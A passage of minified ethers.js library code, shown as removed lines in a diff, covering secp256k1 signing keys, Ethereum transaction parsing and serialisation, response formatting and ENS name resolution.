c2 ? this.curve.pointFromX(o2.add(this.curve.n), a2) : this.curve.pointFromX(o2, a2); - var h2 = e2.r.invm(A2), g2 = A2.sub(i2).mul(h2).umod(A2), u2 = s2.mul(h2).umod(A2); - return this.g.mulAdd(g2, o2, u2); - }, Vd.prototype.getKeyRecoveryParam = function(t2, e2, r4, n2) { - if (null !== (e2 = new Yd(e2, n2)).recoveryParam) - return e2.recoveryParam; - for (var A2 = 0; A2 < 4; A2++) { - var i2; - try { - i2 = this.recoverPubKey(t2, e2, A2); - } catch (t3) { - continue; - } - if (i2.eq(r4)) - return A2; - } - throw new Error("Unable to find valid recovery factor"); - }; - var Zd = Id(function(t2, e2) { - var r4 = e2; - r4.version = "6.5.4", r4.utils = Bd, r4.rand = function() { - throw new Error("unsupported"); - }, r4.curve = Fd, r4.curves = Pd, r4.ec = Wd, r4.eddsa = null; - }).ec; - Al(), il(); - var $d = new Gl("signing-key/5.7.0"); - var tI = null; - function eI() { - return tI || (tI = new Zd("secp256k1")), tI; - } - var rI = class { - constructor(t2) { - If(this, "curve", "secp256k1"), If(this, "privateKey", Wl(t2)), 32 !== Zl(this.privateKey) && $d.throwArgumentError("invalid private key", "privateKey", "[[ REDACTED ]]"); - const e2 = eI().keyFromPrivate(jl(this.privateKey)); - If(this, "publicKey", "0x" + e2.getPublic(false, "hex")), If(this, "compressedPublicKey", "0x" + e2.getPublic(true, "hex")), If(this, "_isSigningKey", true); - } - _addPoint(t2) { - const e2 = eI().keyFromPublic(jl(this.publicKey)), r4 = eI().keyFromPublic(jl(t2)); - return "0x" + e2.pub.add(r4.pub).encodeCompressed("hex"); - } - signDigest(t2) { - const e2 = eI().keyFromPrivate(jl(this.privateKey)), r4 = jl(t2); - 32 !== r4.length && $d.throwArgumentError("bad digest length", "digest", t2); - const n2 = e2.sign(r4, { canonical: true }); - return nf({ recoveryParam: n2.recoveryParam, r: rf("0x" + n2.r.toString(16), 32), s: rf("0x" + n2.s.toString(16), 32) }); - } - computeSharedSecret(t2) { - const e2 = eI().keyFromPrivate(jl(this.privateKey)), r4 = eI().keyFromPublic(jl(nI(t2))); - return rf("0x" + e2.derive(r4.getPublic()).toString(16), 32); - } - static isSigningKey(t2) { - return !(!t2 || !t2._isSigningKey); - } - }; - function nI(t2, e2) { - const r4 = jl(t2); - if (32 === r4.length) { - const t3 = new rI(r4); - return e2 ? "0x" + eI().keyFromPrivate(r4).getPublic(true, "hex") : t3.publicKey; - } - return 33 === r4.length ? e2 ? Wl(r4) : "0x" + eI().keyFromPublic(r4).getPublic(false, "hex") : 65 === r4.length ? e2 ? "0x" + eI().keyFromPublic(r4).getPublic(true, "hex") : Wl(r4) : $d.throwArgumentError("invalid public or private key", "key", "[REDACTED]"); - } - Al(), il(); - var AI; - var iI; - var oI = new Gl("transactions/5.7.0"); - function sI(t2) { - return "0x" === t2 ? null : Hp(t2); - } - function aI(t2) { - return "0x" === t2 ? Lf : hf.from(t2); - } - function cI(t2, e2) { - return r4 = function(t3, e3) { - const r5 = nf(e3), n2 = { r: jl(r5.r), s: jl(r5.s) }; - return "0x" + eI().recoverPubKey(jl(t3), n2, r5.recoveryParam).encode("hex", false); - }(jl(t2), e2), Hp($l(Yf($l(nI(r4), 1)), 12)); - var r4; - } - function hI(t2, e2) { - const r4 = ql(hf.from(t2).toHexString()); - return r4.length > 32 && oI.throwArgumentError("invalid length for " + e2, "transaction:" + e2, t2), r4; - } - function gI(t2, e2) { - return { address: Hp(t2), storageKeys: (e2 || []).map((e3, r4) => (32 !== Zl(e3) && oI.throwArgumentError("invalid access list storageKey", `accessList[${t2}:${r4}]`, e3), e3.toLowerCase())) }; - } - function uI(t2) { - if (Array.isArray(t2)) - return t2.map((t3, e3) => Array.isArray(t3) ? (t3.length > 2 && oI.throwArgumentError("access list expected to be [ address, storageKeys[] ]", `value[${e3}]`, t3), gI(t3[0], t3[1])) : gI(t3.address, t3.storageKeys)); - const e2 = Object.keys(t2).map((e3) => { - const r4 = t2[e3].reduce((t3, e4) => (t3[e4] = true, t3), {}); - return gI(e3, Object.keys(r4).sort()); - }); - return e2.sort((t3, e3) => t3.address.localeCompare(e3.address)), e2; - } - function lI(t2) { - return uI(t2).map((t3) => [t3.address, t3.storageKeys]); - } - function fI(t2, e2) { - if (null != t2.gasPrice) { - const e3 = hf.from(t2.gasPrice), r5 = hf.from(t2.maxFeePerGas || 0); - e3.eq(r5) || oI.throwArgumentError("mismatch EIP-1559 gasPrice != maxFeePerGas", "tx", { gasPrice: e3, maxFeePerGas: r5 }); - } - const r4 = [hI(t2.chainId || 0, "chainId"), hI(t2.nonce || 0, "nonce"), hI(t2.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), hI(t2.maxFeePerGas || 0, "maxFeePerGas"), hI(t2.gasLimit || 0, "gasLimit"), null != t2.to ? Hp(t2.to) : "0x", hI(t2.value || 0, "value"), t2.data || "0x", lI(t2.accessList || [])]; - if (e2) { - const t3 = nf(e2); - r4.push(hI(t3.recoveryParam, "recoveryParam")), r4.push(ql(t3.r)), r4.push(ql(t3.s)); - } - return tf(["0x02", Mp(r4)]); - } - function pI(t2, e2) { - const r4 = [hI(t2.chainId || 0, "chainId"), hI(t2.nonce || 0, "nonce"), hI(t2.gasPrice || 0, "gasPrice"), hI(t2.gasLimit || 0, "gasLimit"), null != t2.to ? Hp(t2.to) : "0x", hI(t2.value || 0, "value"), t2.data || "0x", lI(t2.accessList || [])]; - if (e2) { - const t3 = nf(e2); - r4.push(hI(t3.recoveryParam, "recoveryParam")), r4.push(ql(t3.r)), r4.push(ql(t3.s)); - } - return tf(["0x01", Mp(r4)]); - } - function dI(t2, e2, r4) { - try { - const r5 = aI(e2[0]).toNumber(); - if (0 !== r5 && 1 !== r5) - throw new Error("bad recid"); - t2.v = r5; - } catch (t3) { - oI.throwArgumentError("invalid v for transaction type: 1", "v", e2[0]); - } - t2.r = rf(e2[1], 32), t2.s = rf(e2[2], 32); - try { - const e3 = Yf(r4(t2)); - t2.from = cI(e3, { r: t2.r, s: t2.s, recoveryParam: t2.v }); - } catch (t3) { - } - } - function II(t2) { - const e2 = jl(t2); - if (e2[0] > 127) - return function(t3) { - const e3 = Pp(t3); - 9 !== e3.length && 6 !== e3.length && oI.throwArgumentError("invalid raw transaction", "rawTransaction", t3); - const r4 = { nonce: aI(e3[0]).toNumber(), gasPrice: aI(e3[1]), gasLimit: aI(e3[2]), to: sI(e3[3]), value: aI(e3[4]), data: e3[5], chainId: 0 }; - if (6 === e3.length) - return r4; - try { - r4.v = hf.from(e3[6]).toNumber(); - } catch (t4) { - return r4; - } - if (r4.r = rf(e3[7], 32), r4.s = rf(e3[8], 32), hf.from(r4.r).isZero() && hf.from(r4.s).isZero()) - r4.chainId = r4.v, r4.v = 0; - else { - r4.chainId = Math.floor((r4.v - 35) / 2), r4.chainId < 0 && (r4.chainId = 0); - let n2 = r4.v - 27; - const A2 = e3.slice(0, 6); - 0 !== r4.chainId && (A2.push(Wl(r4.chainId)), A2.push("0x"), A2.push("0x"), n2 -= 2 * r4.chainId + 8); - const i2 = Yf(Mp(A2)); - try { - r4.from = cI(i2, { r: Wl(r4.r), s: Wl(r4.s), recoveryParam: n2 }); - } catch (t4) { - } - r4.hash = Yf(t3); - } - return r4.type = null, r4; - }(e2); - switch (e2[0]) { - case 1: - return function(t3) { - const e3 = Pp(t3.slice(1)); - 8 !== e3.length && 11 !== e3.length && oI.throwArgumentError("invalid component count for transaction type: 1", "payload", Wl(t3)); - const r4 = { type: 1, chainId: aI(e3[0]).toNumber(), nonce: aI(e3[1]).toNumber(), gasPrice: aI(e3[2]), gasLimit: aI(e3[3]), to: sI(e3[4]), value: aI(e3[5]), data: e3[6], accessList: uI(e3[7]) }; - return 8 === e3.length || (r4.hash = Yf(t3), dI(r4, e3.slice(8), pI)), r4; - }(e2); - case 2: - return function(t3) { - const e3 = Pp(t3.slice(1)); - 9 !== e3.length && 12 !== e3.length && oI.throwArgumentError("invalid component count for transaction type: 2", "payload", Wl(t3)); - const r4 = aI(e3[2]), n2 = aI(e3[3]), A2 = { type: 2, chainId: aI(e3[0]).toNumber(), nonce: aI(e3[1]).toNumber(), maxPriorityFeePerGas: r4, maxFeePerGas: n2, gasPrice: null, gasLimit: aI(e3[4]), to: sI(e3[5]), value: aI(e3[6]), data: e3[7], accessList: uI(e3[8]) }; - return 9 === e3.length || (A2.hash = Yf(t3), dI(A2, e3.slice(9), fI)), A2; - }(e2); - } - return oI.throwError(`unsupported transaction type: ${e2[0]}`, Gl.errors.UNSUPPORTED_OPERATION, { operation: "parseTransaction", transactionType: e2[0] }); - } - (iI = AI || (AI = {}))[iI.legacy = 0] = "legacy", iI[iI.eip2930 = 1] = "eip2930", iI[iI.eip1559 = 2] = "eip1559"; - var yI = new Gl(fd); - var CI = class t2 { - constructor() { - this.formats = this.getDefaultFormats(); - } - getDefaultFormats() { - const e2 = {}, r4 = this.address.bind(this), n2 = this.bigNumber.bind(this), A2 = this.blockTag.bind(this), i2 = this.data.bind(this), o2 = this.hash.bind(this), s2 = this.hex.bind(this), a2 = this.number.bind(this), c2 = this.type.bind(this); - return e2.transaction = { hash: o2, type: c2, accessList: t2.allowNull(this.accessList.bind(this), null), blockHash: t2.allowNull(o2, null), blockNumber: t2.allowNull(a2, null), transactionIndex: t2.allowNull(a2, null), confirmations: t2.allowNull(a2, null), from: r4, gasPrice: t2.allowNull(n2), maxPriorityFeePerGas: t2.allowNull(n2), maxFeePerGas: t2.allowNull(n2), gasLimit: n2, to: t2.allowNull(r4, null), value: n2, nonce: a2, data: i2, r: t2.allowNull(this.uint256), s: t2.allowNull(this.uint256), v: t2.allowNull(a2), creates: t2.allowNull(r4, null), raw: t2.allowNull(i2) }, e2.transactionRequest = { from: t2.allowNull(r4), nonce: t2.allowNull(a2), gasLimit: t2.allowNull(n2), gasPrice: t2.allowNull(n2), maxPriorityFeePerGas: t2.allowNull(n2), maxFeePerGas: t2.allowNull(n2), to: t2.allowNull(r4), value: t2.allowNull(n2), data: t2.allowNull((t3) => this.data(t3, true)), type: t2.allowNull(a2), accessList: t2.allowNull(this.accessList.bind(this), null) }, e2.receiptLog = { transactionIndex: a2, blockNumber: a2, transactionHash: o2, address: r4, topics: t2.arrayOf(o2), data: i2, logIndex: a2, blockHash: o2 }, e2.receipt = { to: t2.allowNull(this.address, null), from: t2.allowNull(this.address, null), contractAddress: t2.allowNull(r4, null), transactionIndex: a2, root: t2.allowNull(s2), gasUsed: n2, logsBloom: t2.allowNull(i2), blockHash: o2, transactionHash: o2, logs: t2.arrayOf(this.receiptLog.bind(this)), blockNumber: a2, confirmations: t2.allowNull(a2, null), cumulativeGasUsed: n2, effectiveGasPrice: t2.allowNull(n2), status: t2.allowNull(a2), type: c2 }, e2.block = { hash: t2.allowNull(o2), parentHash: o2, number: a2, timestamp: a2, nonce: t2.allowNull(s2), difficulty: this.difficulty.bind(this), gasLimit: n2, gasUsed: n2, miner: t2.allowNull(r4), extraData: i2, transactions: t2.allowNull(t2.arrayOf(o2)), baseFeePerGas: t2.allowNull(n2) }, e2.blockWithTransactions = mf(e2.block), e2.blockWithTransactions.transactions = t2.allowNull(t2.arrayOf(this.transactionResponse.bind(this))), e2.filter = { fromBlock: t2.allowNull(A2, void 0), toBlock: t2.allowNull(A2, void 0), blockHash: t2.allowNull(o2, void 0), address: t2.allowNull(r4, void 0), topics: t2.allowNull(this.topics.bind(this), void 0) }, e2.filterLog = { blockNumber: t2.allowNull(a2), blockHash: t2.allowNull(o2), transactionIndex: a2, removed: t2.allowNull(this.boolean.bind(this)), address: r4, data: t2.allowFalsish(i2, "0x"), topics: t2.arrayOf(o2), transactionHash: o2, logIndex: a2 }, e2; - } - accessList(t3) { - return uI(t3 || []); - } - number(t3) { - return "0x" === t3 ? 0 : hf.from(t3).toNumber(); - } - type(t3) { - return "0x" === t3 || null == t3 ? 0 : hf.from(t3).toNumber(); - } - bigNumber(t3) { - return hf.from(t3); - } - boolean(t3) { - if ("boolean" == typeof t3) - return t3; - if ("string" == typeof t3) { - if ("true" === (t3 = t3.toLowerCase())) - return true; - if ("false" === t3) - return false; - } - throw new Error("invalid boolean - " + t3); - } - hex(t3, e2) { - return "string" == typeof t3 && (e2 || "0x" === t3.substring(0, 2) || (t3 = "0x" + t3), Xl(t3)) ? t3.toLowerCase() : yI.throwArgumentError("invalid hash", "value", t3); - } - data(t3, e2) { - const r4 = this.hex(t3, e2); - if (r4.length % 2 != 0) - throw new Error("invalid data; odd-length - " + t3); - return r4; - } - address(t3) { - return Hp(t3); - } - callAddress(t3) { - if (!Xl(t3, 32)) - return null; - const e2 = Hp($l(t3, 12)); - return "0x0000000000000000000000000000000000000000" === e2 ? null : e2; - } - contractAddress(t3) { - return function(t4) { - let e2 = null; - try { - e2 = Hp(t4.from); - } catch (e3) { - Tp.throwArgumentError("missing from address", "transaction", t4); - } - return Hp($l(Yf(Mp([e2, ql(jl(hf.from(t4.nonce).toHexString()))])), 12)); - }(t3); - } - blockTag(t3) { - if (null == t3) - return "latest"; - if ("earliest" === t3) - return "0x0"; - switch (t3) { - case "earliest": - return "0x0"; - case "latest": - case "pending": - case "safe": - case "finalized": - return t3; - } - if ("number" == typeof t3 || Xl(t3)) - return ef(t3); - throw new Error("invalid blockTag"); - } - hash(t3, e2) { - const r4 = this.hex(t3, e2); - return 32 !== Zl(r4) ? yI.throwArgumentError("invalid hash", "value", t3) : r4; - } - difficulty(t3) { - if (null == t3) - return null; - const e2 = hf.from(t3); - try { - return e2.toNumber(); - } catch (t4) { - } - return null; - } - uint256(t3) { - if (!Xl(t3)) - throw new Error("invalid uint256"); - return rf(t3, 32); - } - _block(e2, r4) { - null != e2.author && null == e2.miner && (e2.miner = e2.author); - const n2 = null != e2._difficulty ? e2._difficulty : e2.difficulty, A2 = t2.check(r4, e2); - return A2._difficulty = null == n2 ? null : hf.from(n2), A2; - } - block(t3) { - return this._block(t3, this.formats.block); - } - blockWithTransactions(t3) { - return this._block(t3, this.formats.blockWithTransactions); - } - transactionRequest(e2) { - return t2.check(this.formats.transactionRequest, e2); - } - transactionResponse(e2) { - null != e2.gas && null == e2.gasLimit && (e2.gasLimit = e2.gas), e2.to && hf.from(e2.to).isZero() && (e2.to = "0x0000000000000000000000000000000000000000"), null != e2.input && null == e2.data && (e2.data = e2.input), null == e2.to && null == e2.creates && (e2.creates = this.contractAddress(e2)), 1 !== e2.type && 2 !== e2.type || null != e2.accessList || (e2.accessList = []); - const r4 = t2.check(this.formats.transaction, e2); - if (null != e2.chainId) { - let t3 = e2.chainId; - Xl(t3) && (t3 = hf.from(t3).toNumber()), r4.chainId = t3; - } else { - let t3 = e2.networkId; - null == t3 && null == r4.v && (t3 = e2.chainId), Xl(t3) && (t3 = hf.from(t3).toNumber()), "number" != typeof t3 && null != r4.v && (t3 = (r4.v - 35) / 2, t3 < 0 && (t3 = 0), t3 = parseInt(t3)), "number" != typeof t3 && (t3 = 0), r4.chainId = t3; - } - return r4.blockHash && "x" === r4.blockHash.replace(/0/g, "") && (r4.blockHash = null), r4; - } - transaction(t3) { - return II(t3); - } - receiptLog(e2) { - return t2.check(this.formats.receiptLog, e2); - } - receipt(e2) { - const r4 = t2.check(this.formats.receipt, e2); - if (null != r4.root) - if (r4.root.length <= 4) { - const t3 = hf.from(r4.root).toNumber(); - 0 === t3 || 1 === t3 ? (null != r4.status && r4.status !== t3 && yI.throwArgumentError("alt-root-status/status mismatch", "value", { root: r4.root, status: r4.status }), r4.status = t3, delete r4.root) : yI.throwArgumentError("invalid alt-root-status", "value.root", r4.root); - } else - 66 !== r4.root.length && yI.throwArgumentError("invalid root hash", "value.root", r4.root); - return null != r4.status && (r4.byzantium = true), r4; - } - topics(t3) { - return Array.isArray(t3) ? t3.map((t4) => this.topics(t4)) : null != t3 ? this.hash(t3, true) : null; - } - filter(e2) { - return t2.check(this.formats.filter, e2); - } - filterLog(e2) { - return t2.check(this.formats.filterLog, e2); - } - static check(t3, e2) { - const r4 = {}; - for (const n2 in t3) - try { - const A2 = t3[n2](e2[n2]); - void 0 !== A2 && (r4[n2] = A2); - } catch (t4) { - throw t4.checkKey = n2, t4.checkValue = e2[n2], t4; - } - return r4; - } - static allowNull(t3, e2) { - return function(r4) { - return null == r4 ? e2 : t3(r4); - }; - } - static allowFalsish(t3, e2) { - return function(r4) { - return r4 ? t3(r4) : e2; - }; - } - static arrayOf(t3) { - return function(e2) { - if (!Array.isArray(e2)) - throw new Error("not an array"); - const r4 = []; - return e2.forEach(function(e3) { - r4.push(t3(e3)); - }), r4; - }; - } - }; - var mI = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var BI = new Gl(fd); - function EI(t2) { - return null == t2 ? "null" : (32 !== Zl(t2) && BI.throwArgumentError("invalid topic", "topic", t2), t2.toLowerCase()); - } - function wI(t2) { - for (t2 = t2.slice(); t2.length > 0 && null == t2[t2.length - 1]; ) - t2.pop(); - return t2.map((t3) => { - if (Array.isArray(t3)) { - const e2 = {}; - t3.forEach((t4) => { - e2[EI(t4)] = true; - }); - const r4 = Object.keys(e2); - return r4.sort(), r4.join("|"); - } - return EI(t3); - }).join("&"); - } - function vI(t2) { - if ("string" == typeof t2) { - if (32 === Zl(t2 = t2.toLowerCase())) - return "tx:" + t2; - if (-1 === t2.indexOf(":")) - return t2; - } else { - if (Array.isArray(t2)) - return "filter:*:" + wI(t2); - if (kf.isForkEvent(t2)) - throw BI.warn("not implemented"), new Error("not implemented"); - if (t2 && "object" == typeof t2) - return "filter:" + (t2.address || "*") + ":" + wI(t2.topics || []); - } - throw new Error("invalid event - " + t2); - } - function _I() { - return (/* @__PURE__ */ new Date()).getTime(); - } - function QI(t2) { - return new Promise((e2) => { - setTimeout(e2, t2); - }); - } - var bI = ["block", "network", "pending", "poll"]; - var kI = class { - constructor(t2, e2, r4) { - If(this, "tag", t2), If(this, "listener", e2), If(this, "once", r4), this._lastBlockNumber = -2, this._inflight = false; - } - get event() { - switch (this.type) { - case "tx": - return this.hash; - case "filter": - return this.filter; - } - return this.tag; - } - get type() { - return this.tag.split(":")[0]; - } - get hash() { - const t2 = this.tag.split(":"); - return "tx" !== t2[0] ? null : t2[1]; - } - get filter() { - const t2 = this.tag.split(":"); - if ("filter" !== t2[0]) - return null; - const e2 = t2[1], r4 = "" === (n2 = t2[2]) ? [] : n2.split(/&/g).map((t3) => { - if ("" === t3) - return []; - const e3 = t3.split("|").map((t4) => "null" === t4 ? null : t4); - return 1 === e3.length ? e3[0] : e3; - }); - var n2; - const A2 = {}; - return r4.length > 0 && (A2.topics = r4), e2 && "*" !== e2 && (A2.address = e2), A2; - } - pollable() { - return this.tag.indexOf(":") >= 0 || bI.indexOf(this.tag) >= 0; - } - }; - var DI = { 0: { symbol: "btc", p2pkh: 0, p2sh: 5, prefix: "bc" }, 2: { symbol: "ltc", p2pkh: 48, p2sh: 50, prefix: "ltc" }, 3: { symbol: "doge", p2pkh: 30, p2sh: 22 }, 60: { symbol: "eth", ilk: "eth" }, 61: { symbol: "etc", ilk: "eth" }, 700: { symbol: "xdai", ilk: "eth" } }; - function SI(t2) { - return rf(hf.from(t2).toHexString(), 32); - } - function NI(t2) { - return Hf.encode(zl([t2, $l(Ad(Ad(t2)), 0, 4)])); - } - var MI = new RegExp("^(ipfs)://(.*)$", "i"); - var xI = [new RegExp("^(https)://(.*)$", "i"), new RegExp("^(data):(.*)$", "i"), MI, new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i")]; - function FI(t2, e2) { - try { - return $f(PI(t2, e2)); - } catch (t3) { - } - return null; - } - function PI(t2, e2) { - if ("0x" === t2) - return null; - const r4 = hf.from($l(t2, e2, e2 + 32)).toNumber(), n2 = hf.from($l(t2, r4, r4 + 32)).toNumber(); - return $l(t2, r4 + 32, r4 + 32 + n2); - } - function TI(t2) { - return t2.match(/^ipfs:\/\/ipfs\//i) ? t2 = t2.substring(12) : t2.match(/^ipfs:\/\//i) ? t2 = t2.substring(7) : BI.throwArgumentError("unsupported IPFS format", "link", t2), `https://gateway.ipfs.io/ipfs/${t2}`; - } - function RI(t2) { - const e2 = jl(t2); - if (e2.length > 32) - throw new Error("internal; should not happen"); - const r4 = new Uint8Array(32); - return r4.set(e2, 32 - e2.length), r4; - } - function UI(t2) { - if (t2.length % 32 == 0) - return t2; - const e2 = new Uint8Array(32 * Math.ceil(t2.length / 32)); - return e2.set(t2), e2; - } - function GI(t2) { - const e2 = []; - let r4 = 0; - for (let n2 = 0; n2 < t2.length; n2++) - e2.push(null), r4 += 32; - for (let n2 = 0; n2 < t2.length; n2++) { - const A2 = jl(t2[n2]); - e2[n2] = RI(r4), e2.push(RI(A2.length)), e2.push(UI(A2)), r4 += 32 + 32 * Math.ceil(A2.length / 32); - } - return tf(e2); - } - var HI = class { - constructor(t2, e2, r4, n2) { - If(this, "provider", t2), If(this, "name", r4), If(this, "address", t2.formatter.address(e2)), If(this, "_resolvedAddress", n2); - } - supportsWildcard() { - return this._supportsEip2544 || (this._supportsEip2544 = this.provider.call({ to: this.address, data: "0x01ffc9a79061b92300000000000000000000000000000000000000000000000000000000" }).then((t2) => hf.from(t2).eq(1)).catch((t2) => { - if (t2.code === Gl.errors.CALL_EXCEPTION) - return false; - throw this._supportsEip2544 = null, t2; - })), this._supportsEip2544; - } - _fetch(t2, e2) { - return mI(this, void 0, void 0, function* () { - const r4 = { to: this.address, ccipReadEnabled: true, data: tf([t2, bp(this.name), e2 || "0x"]) }; - let n2 = false; - var A2; - (yield this.supportsWildcard()) && (n2 = true, r4.data = tf(["0x9061b923", GI([(A2 = this.name, Wl(zl(Qp(A2).map((t3) => { - if (t3.length > 63) - throw new Error("invalid DNS encoded entry; length exceeds 63 bytes"); - const e3 = new Uint8Array(t3.length + 1); - return e3.set(t3, 1), e3[0] = e3.length - 1, e3; - }))) + "00"), r4.data])])); - try { - let t3 = yield this.provider.call(r4); - return jl(t3).length % 32 == 4 && BI.throwError("resolver threw error", Gl.errors.CALL_EXCEPTION, { transaction: r4, data: t3 }), n2 && (t3 = PI(t3, 0)), t3; - } catch (t3) { - if (t3.code === Gl.errors.CALL_EXCEPTION) - return null; - throw t3; - } - }); - } - _fetchBytes(t2, e2) { - return mI(this, void 0, void 0, function* () { - const r4 = yield this._fetch(t2, e2); - return null != r4 ? PI(r4, 0) : null; - }); - } - _getAddress(t2, e2) { - const r4 = DI[String(t2)]; - if (null == r4 && BI.throwError(`unsupported coin type: ${t2}`, Gl.errors.UNSUPPORTED_OPERATION, { operation: `getAddress(${t2})` }), "eth" === r4.ilk) - return this.provider.formatter.address(e2); - const n2 = jl(e2); - if (null != r4.p2pkh) { - const t3 = e2.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/); - if (t3) { - const e3 = parseInt(t3[1], 16); - if (t3[2].length === 2 * e3 && e3 >= 1 && e3 <= 75) - return NI(zl([[r4.p2pkh], "0x" + t3[2]])); - } - } - if (null != r4.p2sh) { - const t3 = e2.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/); - if (t3) { - const e3 = parseInt(t3[1], 16); - if (t3[2].length === 2 * e3 && e3 >= 1 && e3 <= 75) - return NI(zl([[r4.p2sh], "0x" + t3[2]])); - } - } - if (null != r4.prefix) { - const t3 = n2[1]; - let e3 = n2[0]; - if (0 === e3 ? 20 !== t3 && 32 !== t3 && (e3 = -1) : e3 = -1, e3 >= 0 && n2.length === 2 + t3 && t3 >= 1 && t3 <= 75) { - const t4 = ld.default.toWords(n2.slice(2)); - return t4.unshift(e3), ld.default.encode(r4.prefix, t4); - } - } - return null; - } - getAddress(t2) { - return mI(this, void 0, void 0, function* () { - if (null == t2 && (t2 = 60), 60 === t2) - try { - const t3 = yield this._fetch("0x3b3b57de"); - return "0x" === t3 || "0x0000000000000000000000000000000000000000000000000000000000000000" === t3 ? null : this.provider.formatter.callAddress(t3); - } catch (t3) { - if (t3.code === Gl.errors.CALL_EXCEPTION) - return null; - throw t3; - } - const e2 = yield this._fetchBytes("0xf1cb7e06", SI(t2)); - if (null == e2 || "0x" === e2) - return null; - const r4 = this._getAddress(t2, e2); - return null == r4 && BI.throwError("invalid or unsupported coin data", Gl.errors.UNSUPPORTED_OPERATION, { operation: `getAddress(${t2})`, coinType: t2, data: e2 }), r4; - }); - } - getAvatar() { - return mI(this, void 0, void 0, function* () { - const t2 = [{ type: "name", content: this.name }]; - try { - const e2 = yield this.getText("avatar"); - if (null == e2) - return null; - for (let r4 = 0; r4 < xI.length; r4++) { - const n2 = e2.match(xI[r4]); - if (null == n2) - continue; - const A2 = n2[1].toLowerCase(); - switch (A2) { - case "https": - return t2.push({ type: "url", content: e2 }), { linkage: t2, url: e2 }; - case "data": - return t2.push({ type: "data", content: e2 }), { linkage: t2, url: e2 }; - case "ipfs": - return t2.push({ type: "ipfs", content: e2 }), { linkage: t2, url: TI(e2) }; - case "erc721": - case "erc1155": { - const r5 = "erc721" === A2 ? "0xc87b56dd" : "0x0e89341c"; - t2.push({ type: A2, content: e2 }); - const i2 = this._resolvedAddress || (yield this.getAddress()), o2 = (n2[2] || "").split("/"); - if (2 !== o2.length) - return null; - const s2 = yield this.provider.formatter.address(o2[0]), a2 = rf(hf.from(o2[1]).toHexString(), 32); - if ("erc721" === A2) { - const e3 = this.provider.formatter.callAddress(yield this.provider.call({ to: s2, data: tf(["0x6352211e", a2]) })); - if (i2 !== e3) - return null; - t2.push({ type: "owner", content: e3 }); - } else if ("erc1155" === A2) { - const e3 = hf.from(yield this.provider.call({ to: s2, data: tf(["0x00fdd58e", rf(i2, 32), a2]) })); - if (e3.isZero()) - return null; - t2.push({ type: "balance", content: e3.toString() }); - } - const c2 = { to: this.provider.formatter.address(o2[0]), data: tf([r5, a2]) }; - let h2 = FI(yield this.provider.call(c2), 0); - if (null == h2) - return null; - t2.push({ type: "metadata-url-base", content: h2 }), "erc1155" === A2 && (h2 = h2.replace("{id}", a2.substring(2)), t2.push({ type: "metadata-url-expanded", content: h2 })), h2.match(/^ipfs:/i) && (h2 = TI(h2)), t2.push({ type: "metadata-url", content: h2 }); - const g2 = yield gd(h2); - if (!g2) - return null; - t2.push({ type: "metadata", content: JSON.stringify(g2) }); - let u2 = g2.image; - if ("string" != typeof u2) - return null; - if (u2.match(/^(https:\/\/|data:)/i)) - ; - else { - if (null == u2.match(MI)) - return null; - t2.push({ type: "url-ipfs", content: u2 }), u2 = TI(u2); - } - return t2.push({ type: "url", content: u2 }), { linkage: t2, url: u2 }; - } - } - } - } catch (t3) { - } - return null; - }); - } - getContentHash() { - return mI(this, void 0, void 0, function* () { - const t2 = yield this._fetchBytes("0xbc1c58d1"); - if (null == t2 || "0x" === t2) - return null; - const e2 = t2.match(/^0xe3010170(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (e2) { - const t3 = parseInt(e2[3], 16); - if (e2[4].length === 2 * t3) - return "ipfs://" + Hf.encode("0x" + e2[1]); - } - const r4 = t2.match(/^0xe5010172(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (r4) { - const t3 = parseInt(r4[3], 16); - if (r4[4].length === 2 * t3) - return "ipns://" + Hf.encode("0x" + r4[1]); - } - const n2 = t2.match(/^0xe40101fa011b20([0-9a-f]*)$/); - if (n2 && 64 === n2[1].length) - return "bzz://" + n2[1]; - const A2 = t2.match(/^0x90b2c605([0-9a-f]*)$/); - if (A2 && 68 === A2[1].length) { - const t3 = { "=": "", "+": "-", "/": "_" }; - return "sia://" + Uf("0x" + A2[1]).replace(/[=+\/]/g, (e3) => t3[e3]); - } - return BI.throwError("invalid or unsupported content hash data", Gl.errors.UNSUPPORTED_OPERATION, { operation: "getContentHash()", data: t2 }); - }); - } - getText(t2) { - return mI(this, void 0, void 0, function* () { - let e2 = Zf(t2); - e2 = zl([SI(64), SI(e2.length), e2]), e2.length % 32 != 0 && (e2 = zl([e2, rf("0x", 32 - t2.length % 32)])); - const r4 = yield this._fetchBytes("0x59d1d43c", Wl(e2)); - return null == r4 || "0x" === r4 ? null : $f(r4); - }); - } - }; - var LI = null; - var OI = 1; - var YI = class extends Df { - constructor(t2) { - if (super(), this._events = [], this._emitted = { block: -2 }, this.disableCcipRead = false, this.formatter = new.target.getFormatter(), If(this, "anyNetwork", "any" === t2), this.anyNetwork && (t2 = this.detectNetwork()), t2 instanceof Promise) - this._networkPromise = t2, t2.catch((t3) => { - }), this._ready().catch((t3) => { - }); - else { - const e2 = yf(new.target, "getNetwork")(t2); - e2 ? (If(this, "_network", e2), this.emit("network", e2, null)) : BI.throwArgumentError("invalid network", "network", t2); - } - this._maxInternalBlockNumber = -1024, this._lastBlockNumber = -2, this._maxFilterBlockRange = 10, this._pollingInterval = 4e3, this._fastQueryDate = 0; - } - _ready() { - return mI(this, void 0, void 0, function* () { - if (null == this._network) { - let t2 = null; - if (this._networkPromise) - try { - t2 = yield this._networkPromise; - } catch (t3) { - } - null == t2 && (t2 = yield this.detectNetwork()), t2 || BI.throwError("no network detected", Gl.errors.UNKNOWN_ERROR, {}), null == this._network && (this.anyNetwork ? this._network = t2 : If(this, "_network", t2), this.emit("network", t2, null)); - } - return this._network; - }); - } - get ready() { - return ud(() => 